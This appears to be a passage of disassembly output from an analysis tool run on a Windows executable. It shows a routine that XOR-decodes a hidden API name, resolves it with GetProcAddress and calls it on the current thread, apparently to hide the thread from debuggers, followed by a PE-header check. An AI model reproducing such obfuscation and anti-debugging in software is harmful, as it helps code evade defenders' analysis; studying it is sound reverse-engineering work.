movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011710]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140005d40
movaps xmm6, xmmword [rsp + 0x60]
cmp ecx, 0x17
jge 0x140005e8d
movsxd rax, ecx
lea r8, [rbp - 0x2c]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x17
jl 0x140005e60
lea rdx, [rbp - 0x2c]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140005eb7
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call rbx
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x14000ea08
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000ea52
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000ea52
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000ea52
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000ea52
cmp dword [rcx + 0x84], 0xe
jbe 0x14000ea52
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000ea54
xor al, al
add rsp, 0x28
ret